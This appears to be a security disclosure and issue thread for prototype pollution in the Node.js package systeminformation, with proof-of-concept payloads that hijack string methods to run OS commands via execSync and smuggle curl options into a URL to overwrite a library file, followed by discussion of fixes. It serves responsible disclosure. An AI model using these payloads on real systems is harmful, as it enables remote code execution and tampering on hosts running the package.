[systeminformation] - Prototype Pollution

CVE-2020-7778, CVE-2020-26245.md

Vulnerability: Prototype Pollution - CVE-2020-7778, CVE-2020-26245

Package name: systeminformation.

Tested package versions: 4.30.1, 4.30.2, 4.30.4

Fixed package versions: >= 4.30.5

Description: The attacker can overwrite the properties and functions of an object. It can lead to executing OS commands.

Sensitive file: lib/internet.js.

Steps to reproduce:

Simple test:

```
const si = require('systeminformation');
const obj = {};

obj.__proto__.polluted = "polluted";

si.inetChecksite("https://effectrenan.com").then((a) => {
   console.log(a.polluted)
})
```

Prototype Pollution leading to OS command execution:

Payload:

```
const si = require('systeminformation');
const obj = "";

obj.__proto__.replace = () => { return require("child_process").execSync("<OS command>") };

si.inetChecksite("https://effectrenan.com");
```

The payload above exploit the `replace` function, which is called in the `lib/internet.js` file to sanitize the user input.

```
let urlSanitized = util.sanitizeShellString(url).toLowerCase();
urlSanitized = urlSanitized.replace(/ /g, '');
urlSanitized = urlSanitized.replace(/\$/g, '');
urlSanitized = urlSanitized.replace(/\(/g, '');
urlSanitized = urlSanitized.replace(/\)/g, '');
urlSanitized = urlSanitized.replace(/{/g, '');
urlSanitized = urlSanitized.replace(/}/g, '');
```

If in some context the `require` function is not available, it is possible to exploit the Command Injection vulnerability via CVE-2020-7752.

```
const URL = "";
const HOST = "127.0.0.1:443"; // CVE-2020-7752
const PAYLOAD = `telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`; // CVE-2020-7752

URL.__proto__.toLowerCase = () => {
   return {
      replace: () => {return PAYLOAD}
   }
}

URL.__proto__.replace = () => {
   return URL;
}

si.inetChecksite("https://effectrenan.com");
```

sebhildebrandt commented on Nov 24, 2020

@EffectRenan I am not really sure, if this should be handled (and how). If you are in control of the code you anyway can directly execute

```
require("child_process").execSync("<OS command>")
```

Maybe I am wrong ... I then should consider catching ALL possible prototype pollutions, which I am not sure how this would work.

EffectRenan commented on Nov 24, 2020 Author

@sebhildebrandt Well, it is possible to have a scenario who the user sends an object polluted without control of the code. The object properties are accessed directly without intervention.

My recommendations are:

- Use `Object.freeze(Object.prototype)` to make prototype immutable.
- Possibility to use objects without prototypes `Object.create(null))` .

sebhildebrandt commented on Nov 24, 2020

@EffectRenan thank you for your comment! I will try to come up with a solution as soon as possible.

sebhildebrandt commented on Nov 25, 2020

@EffectRenan: I provided a solution ... rewriting the sanitizing function so that prototype pollutions are detected. Version 4.30.2 just published. Can you check it also on your side?

I was not sure how I can freeze the `string` object the way that no prototype pollution can happen here (with `Object.freeze` or `Object.create(null)`). Do you have an example how this could be done. I would appreciate any further details here here.

EffectRenan commented on Nov 25, 2020 Author

@sebhildebrandt Unfortunately it does not seem to be resolved. When we access a String or an Object provided by the user, we cannot execute its functions directly. In your application, the user can overwrite the function `replace` (for example) to execute malicious code without using the Prototype.

In some applications, the inputs are copied to another object which is "safe" to execute its functions. In such a case, we can exploit Prototype Pollution if the copy process is not implemented correctly.

Recommendations:

- If all inputs expected are Strings, use `typeof` function to verify it before.
- String: `Object.freeze(String.prototype)` .
- Object: `Object.freeze(Object.prototype)`
- If you add these commands when the package is loaded, the problem will be resolved.

When you provide a solution, execute the commands below:

```
const si = require('systeminformation');
const obj = "";

obj.__proto__.polluted = "polluted";
obj.__proto__.replace = () => {console.log("polluted")};
obj.__proto__.toString = () => {console.log("polluted")};
obj.__proto__.toLowerCase = () => {console.log("polluted")};

si.inetChecksite("https://effectrenan.com").then((a) => {
   console.log(a.polluted);
})
```

sebhildebrandt commented on Nov 25, 2020

@EffectRenan, thank you for your support! Well I now added this and your code now runs smoothly without showing "polluted" ;-) Version 4.30.3 just published. One more thing I am interested: does these added commands have impact to other libraries (so when someone uses several libraries and also `systeminformation` ? Just curious if this could break someones others code.

Thank you once again! Via email, I asked, if you are able to provide a CVS number for this issue that I can reference to in my security advisory on GitHub.

sebhildebrandt commented on Nov 25, 2020

@EffectRenan, actually this already broke some other projects ... I have to revert this. Still: is there any other way, that I can use `replace` , `toLowerCase` , ... safely. I anyway rewrote the important functions that this injection is not going to the specific function. So I still guess that my previous changes are quite safe. Have a look at the code in `internet.js` , line 37 to 47 as well as `util.js` line 492 to 520. I also have one more function that checks if the prototype is polluted.

EffectRenan commented on Nov 25, 2020 Author

@sebhildebrandt, everything that we access through the Object sent is not safe. That's the reason is hard to handle it.

We can make copies of `replace` and `toLowerCase` when the package is loaded.
Example:

```
const replace = new String().replace;
```

When a function is called, we can use `replace` defined before instead of the object sent.
Example if the user sends `a = ""; a__proto__.replace = () => {}`

```
const replace = new String().replace;

function test(a) {
  a.__proto__.replace = replace;
}
```

So, if the `replace` is polluted before your package is loaded, it is out of your scope.

sebhildebrandt commented on Nov 26, 2020

@EffectRenan, thank you so much! I think I can work on that. Will provide a solution soon. Learned a lot the last few days ;-)

sebhildebrandt commented on Nov 26, 2020 • edited

@EffectRenan: done, fixed (hopefully). Your comments where super helpful! Thank you so much! Would be happy, if you can test it on your side. I ran the code above (from yesterday) without any issue. Would you also provide a CVE ID or should I request one via GitHub?

EffectRenan commented on Nov 26, 2020 Author

@sebhildebrandt, It seems to be fixed! Thank you too to resolve this fast and avoid possible malicious usage.
Any problems contact me.

Only the owner of the project can request a CVE. Thank you again!